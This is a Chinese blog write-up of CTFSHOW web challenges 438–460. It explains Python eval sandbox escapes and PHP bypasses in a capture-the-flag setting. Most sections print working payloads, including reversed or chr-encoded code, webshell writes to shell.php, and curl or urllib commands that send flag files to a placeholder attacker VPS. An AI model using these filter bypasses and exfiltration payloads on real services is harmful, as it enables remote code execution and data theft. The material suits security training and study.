CTFSHOW | 其他篇题解(三)web438 - web460

前言

由于题目比较多,所以分三个部分来写,这是第三部分

题目列表

web438

这题跟web435方法一样,我们简单回顾一下过程

为了绕过限制,可以反转代码来执行,具体方法是用字符串切片方法来反转字符串

1
?code=str(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])

可以先用str在网页看原始代码,检查是否正确

然后套个exec执行这串代码就可以

payload:

1
?code=str(exec(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

我们把它的源码爆出来看看

1
?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask
from flask import request
import re


app = Flask(__name__)

def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)

def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/')
def app_index():
code = request.args.get('code')
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

这题比web437多过滤了{,但这个符号我们用不到,所以不影响

payload:

1
?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

web439

这题可以继续用上题的方法,我们把源码爆出来分析一下

1
?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import Flask
from flask import request
import re


app = Flask(__name__)

def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)

def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/')
def app_index():
code = request.args.get('code')
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

可以看到这题比上题多过滤了\x\x 是一种转义序列,用来表示十六进制形式的字符,比如 \x41 代表 ASCII 字符 'A'

但是我们并没有用到这个,所以不影响

payload:

1
?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

web440

这题把引号禁了,我们可以用chr构造字符串。先用ord返回unicode数值,然后再经过chr转换成字符即可,我们写个python脚本

payload:

1
2
3
4
5
s = "import os;os.system('curl http://你的vps地址:端口?p=`ls`')"
res = ''
for i in s:
res += f"chr({ord(i)})%2B"
print('str(exec('+res[:-3]+'))')

把结果拼接到网站GET发送

1
?code=你的代码运行结果

修改命令为cat /flag获取flag即可

web441

经过分析,这题把加号过滤了,放出部分源码看看

1
2
3
4
re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

那我们用join函数来拼接字符即可,例如.join(['1','2','3']),结果是 ‘123’。 join必须作为字符串的方法调用,即调用它的对象必须是字符串,所以前面要有字符串和点号(.)来调用该函数

payload:

1
2
3
4
5
s = "import os;os.system('curl http://你的vps地址:端口?p=`ls`')"
res = ''
for i in s:
res += f"chr({ord(i)}),"
print('exec(str().join(['+res[:-1]+']))')

把结果拼接到网站GET发送

1
?code=你的代码运行结果

修改命令为cat /flag获取flag即可

web442

这题把数字过滤了

1
2
3
4
re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

我们用request.args.get方法获取参数值即可。request.args.get 是 Flask 框架中获取 URL 查询参数(即 GET 请求中 URL 中 ?key=value 部分参数)的方法

payload:

1
?code=str(exec(request.args.get(request.method)))&GET=import os;os.system('curl http://你的vps地址:端口?p=`cat /flag`')

web443

把request过滤了,关键代码如下

1
2
3
4
re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

题目提示提交参数为POST,那我们后面用POST提交数据

这题我们可以继续用request.args.get,不过里面的request需要变换一下。我们打印全局变量出来看看

1
code=str(globals())

可以看到里面有个键是request,我们要利用的就是这个。由于Python 中列表、元组、字符串等序列的索引是从 0 开始的,所以request所在的索引为10。又因为数字和加号被禁了,所以我们可以用True来表示1,用两个减号表示加号

因此10可以这么写

1
True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)

然后用list(globals().keys())[]来获取对应的键名,再放进globals()[]获取对应的属性和方法,从而调用args.get()获取参数值

1
globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]]

可以把这个理解为request,那么request.args.get(request.method)就等于

1
globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)

然后在路径后面拼接参数POST,传入代码即可

1
?POST=import os;os.system('curl http://你的vps地址:端口?p=`ls`')

到这里,我们成功把代码弄好了,可以用str函数打印出来验证一下,POST传入

1
code=str(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))

最后用exec函数运行代码即可

POST传入

1
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

GET传入

1
?POST=import os;os.system('curl http://你的vps地址:端口?p=`cat /flag`')

web444

这题的附件把代码给出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from flask import Flask
from flask import request
import re


app = Flask(__name__)

def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)

def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

这题把len过滤了,可以继续用上题的方法

POST传入

1
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

GET传入

1
?POST=import os;os.system('curl http://你的vps地址:端口?p=`cat /flag`')

web445

这题代码总体跟上题差不多,不过开头那里把os.systemos.popen去掉了

那直接调用肯定是不行的了,可以用reload函数重新加载os模块,然后再重新调用system函数

简单介绍一下reloadreload 是 Python 中用于重新加载已导入模块的函数。

作用

  • Python 的模块在导入时会被缓存,后续再次导入同一模块时不会重新执行模块代码,而是直接使用缓存
  • reload 函数可以让已经导入的模块重新执行代码,更新模块内容(相当于“刷新”模块),适合在开发或调试时修改代码后即时生效,而不需要重启程序

使用方法

  • Python 2 中 reload() 是内置函数,可以直接调用
  • Python 3 中,reload() 被移到 importlib 模块中,需要先导入使用

我们POST传入

1
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

GET传入

1
?POST=from importlib import reload;reload(os);os.system('curl http://你的vps地址:端口?p=`cat /flag`')

成功得到flag

web446

这题相比上题把imp.reload函数去掉了

imp 是 Python 早期用于动态加载模块的内置模块,在 Python 3.4 之后,imp 模块已被废弃,不再推荐使用,而是被更强大的 importlib 模块所取代

所以这题可以继续使用上题的方法

POST传入

1
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

GET传入

1
?POST=from importlib import reload;reload(os);os.system('curl http://你的vps地址:端口?p=`cat /flag`')

web447

对比一下代码

这题过滤了挺多东西,例如用于创建和管理子进程的subprocess模块和用于测量一小段代码执行时间的timeit模块,但是不影响我们用之前的方法

POST传入

1
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

GET传入

1
?POST=from importlib import reload;reload(os);os.system('curl http://你的vps地址:端口?p=`cat /flag`')

web448

对比一下代码

这题把好多模块都设置为None,sys.modules 是一个字典,记录了所有已加载的模块。键为模块名,值为模块对象

将 sys.modules[‘模块名’] 设为 None,可以让 Python 认为该模块已被加载,但实际值为 None。这会导致后续 import 该模块时,不再真正加载,而是返回 None(或者报错)

这时我们就不能用reload了,因为 Python 会在 sys.modules 里查找,发现值为 None,而不是模块对象,于是 import 或 reload 过程中会抛出 ModuleNotFoundError 异常

我们可以用shutil模块的copy函数把os.py复制到一个新文件下,然后重新导入新模块即可

POST传入

1
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

GET传入

1
?POST=import shutil;shutil.copy('/usr/local/lib/python3.8/os.py','a.py');import a;a.system('curl http://你的vps地址:端口?p=`cat /flag`')

web449

这题把sys模块和importlib模块都禁用了,而且还删除了sys模块。之前的方法用不了

我们可以用urllib模块来发送网络请求,带出flag。urllib 是 Python 的一个标准库模块,用于处理和操作网页 URL,以及通过网络请求获取网页内容等功能。

主要功能

  • urllib.request:用于打开和读取 URL,发送 HTTP/HTTPS 请求,并获取响应内容
  • urllib.error:包含 urllib.request 相关的异常处理,如请求失败时的错误
  • urllib.parse:用于解析 URL,包括分解和构造 URL 的各个部分
  • urllib.robotparser:解析和处理网站的 robots.txt 文件,判断哪些网页允许爬取

POST传入

1
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

GET传入

1
?POST=a=open('/flag').read();from urllib.request import urlopen;urlopen('http://你的vps地址:端口?p='%2Ba)

%2B表示加号,如果直接写加号会无法解析,需要先URL编码

web450

题目说执行phpinfo就可以拿到flag,看代码可知我们只要满足这个正则匹配即可执行代码,我们简单分析一下

  • ^$ 是锚点,表示匹配字符串的开始和结束
  • [a-z]+ 表示匹配一个或多个小写英文字母
  • [\^] 表示匹配一个脱义的插入符号 ^

举个例子,也就是abc^def^ghi,满足正则匹配只要在中间加两个^即可。两个相同的字符异或,得到0,0和另一个字符异或,得到的便是另一个字符

payload:

1
?ctfshow=phpinfo^phpinfo^phpinfo

然后搜索flag

web451

这题把phpinfo过滤了。前面提到,两个相同的字符异或,得到0,0和另一个字符异或,得到另一个字符,所以我们两两修改一下就好

payload:

1
?ctfshow=aaabbbb^phpbbbb^aaainfo

web452

这题过滤了挺多东西,但操作空间依然很大,直接执行代码就可以

1
?ctfshow=echo `ls /`;

然后读取flaag

payload:

1
?ctfshow=echo `cat /flaag`;

后面在网上看了其他方法,可以用括号包住进行字符串拼接

1
(php.info)();

web453

打开网站查看源代码,可以看到提示

我们GET传入

1
/ctf/show?s=XXX

POST传入

1
s=index.php

然后查看网页源码,可以看到index.php代码,下面展示部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function exec($request,$response){
system('php shell.php');
$response->end('command exec done');
}

也就是我们访问路径/ctf/file,然后POST传入内容,就会被写进shell.php。接着再访问路径/ctf/exec就可以执行shell.php的代码

同样的,我们用curl外带执行系统命令即可

首先GET传入

1
/ctf/file

POST传入

1
s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?>

然后访问路径/ctf/exec,最后在服务器查看结果即可

web454

跟上题一样,我们先查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function include($request,$response){
include('shell.php');
$response->end('include done');
}

这题把system换成include了,方法跟之前一样,只是最后的路径要改一下

GET传入

1
/ctf/file

POST传入

1
s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?>

然后访问路径/ctf/include,最后在服务器查看结果即可

web455

查看源码,这题比上题多了个reload函数,但是用处不大。同时include函数也改回exec函数了,可以用回web453的方法

1
2
3
4
5
public function reload($request,$response){
global $http;
$http->reload();
$response->end('reload done');
}

GET传入

1
/ctf/file

POST传入

1
s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?>

然后访问路径/ctf/exec,最后在服务器查看结果

web456

除去reload函数,这题源码相比web453没怎么变,就只是改了end信息,因此可以继续用之前的方法

GET传入

1
/ctf/file

POST传入

1
s=<?php system('curl http://你的vps地址:端口?p=`cat f*`');?>

然后访问路径/ctf/exec,最后在服务器查看结果

web457

我们看看admin类

1
2
3
4
5
6
class admin extends user{
public function check(){
$u= call_user_func($this->password);
return $u=='admin';
}
}

简单分析一下

  • check() 中调用了 call_user_func($this->password)
    • call_user_func 用于调用回调函数,参数可以是函数名字符串或可调用变量
    • 这里 $this->password 被当成函数名调用,函数执行的结果赋给 $u
  • 最后判断 $u 是否等于 'admin',相等则返回 true,否则返回 false

因此我们传入p=phpinfo触发函数使其返回值为True即可,然后传入u=admin

payload:

1
?u=admin&p=phpinfo

web458

这题改为$u==='admin',变成强比较了

1
2
3
4
5
6
class admin extends user{
public function check(){
$u= call_user_func($this->password);
return $u==='admin';
}
}

因为类名为admin,我们可以给p传入get_class获取类名,然后再传入u=admin,就满足条件了

payload:

1
?u=admin&p=get_class

web459

这题用了copy函数,PHP 中的copy()函数是用于复制文件的内置函数

语法

1
bool copy ( string $source , string $dest [, resource $context ] )
  • $source:必需,要复制的源文件路径
  • $dest:必需,目标文件路径(包含文件名)
  • $context:可选的上下文资源

我们用php伪协议即可

payload:

1
?u=php://filter/read=convert.base64-encode/resource=flag.php&p=1

然后访问路径/1.php读取flag的base64编码,解码即可

web460

这题跟web449相比,多了一些时间检测的代码,我们看看关键部分

1
2
3
4
@func_set_timeout(0.7)
def run(s):
time.sleep(randmon.random())
return eval(s)

1
2
3
4
5
try:
s=run(code)
return s
except func_timeout.exceptions.FunctionTimedOut:
return exec('1')

有两个区别

1. 执行超时机制

使用了 func-timeout 库,为 run 函数设置了 0.7 秒的超时限制。这意味着如果传入的 code 执行时间超过 0.7 秒,程序会抛出 FunctionTimedOut 异常,从而中断执行

2. 随机延迟

run 函数中,执行 eval 之前有一个 time.sleep(random.random())。这会增加一个 0 到 1 秒之间的随机延迟

算上随机延迟,也就是我们传入的代码必须要执行时间小于0.7s

这题有些难,参考网上Y4tacker师傅的做法,可以配合urllib外带数据

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def getNumber3(number):
number = int(number)
if number in [-2, -1, 0, 1]:
return ["~int(True)", "~int(False)",
"int(False)", "int(True)"][number + 2]

if number % 2:
return "~%s" % getNumber3(~number)
else:
return "(%s<<(int(True)))" % getNumber3(number / 2)


def getNumber2(number):
number = int(number)
if number in [-2, -1, 0, 1]:
return ["~([]<())", "~([]<[])",
"([]<[])", "([]<())"][number + 2]

if number % 2:
return "~%s" % getNumber2(~number)
else:
return "(%s<<([]<()))" % getNumber2(number / 2)

s = 'import urllib.request;import ssl;f=open("/flag").read();context = ssl._create_unverified_context();url = "http://你的vps地址:端口?p="+f;request = urllib.request.Request(url);response = urllib.request.urlopen(url=request,context=context)'

res = 'str().join(['
for i in s:
res += f"chr({getNumber3(ord(i))}),"
res = res[:-1]
res += '])'
print("exec("+res+")")

把结果拼接进Body然后POST发送

1
code=你的代码运行结果

简单解释一下这个代码

1
s = 'import urllib.request;import ssl;f=open("/flag").read();context = ssl._create_unverified_context();url = "http://你的vps地址:端口?p="+f;request = urllib.request.Request(url);response = urllib.request.urlopen(url=request,context=context)'
  • import urllib.request:导入用于打开和读取 URL 的模块
  • import ssl:导入处理 TLS/SSL 连接的模块
  • f = open("/flag").read():打开根目录下的 flag 文件,读取内容,并赋值给变量 f
  • context = ssl._create_unverified_context():创建一个不验证 SSL 证书的上下文环境,避免因证书问题阻塞请求
  • request = urllib.request.Request(url):创建针对该 URL 的 HTTP 请求
  • response = urllib.request.urlopen(url=request, context=context):发送请求并获取响应,使用前面创建的 SSL 上下文

参考

yu22x:CTFSHOW其他篇

Y4tacker:[CTFSHOW]CTFSHOW-其他WP

CTFSHOW | 其他篇题解(三)web438 - web460

https://waynejoon.github.io/posts/ctfshow-others-3-web438-web460/

作者

WayneJoon.H

发布于

2025-08-27

许可协议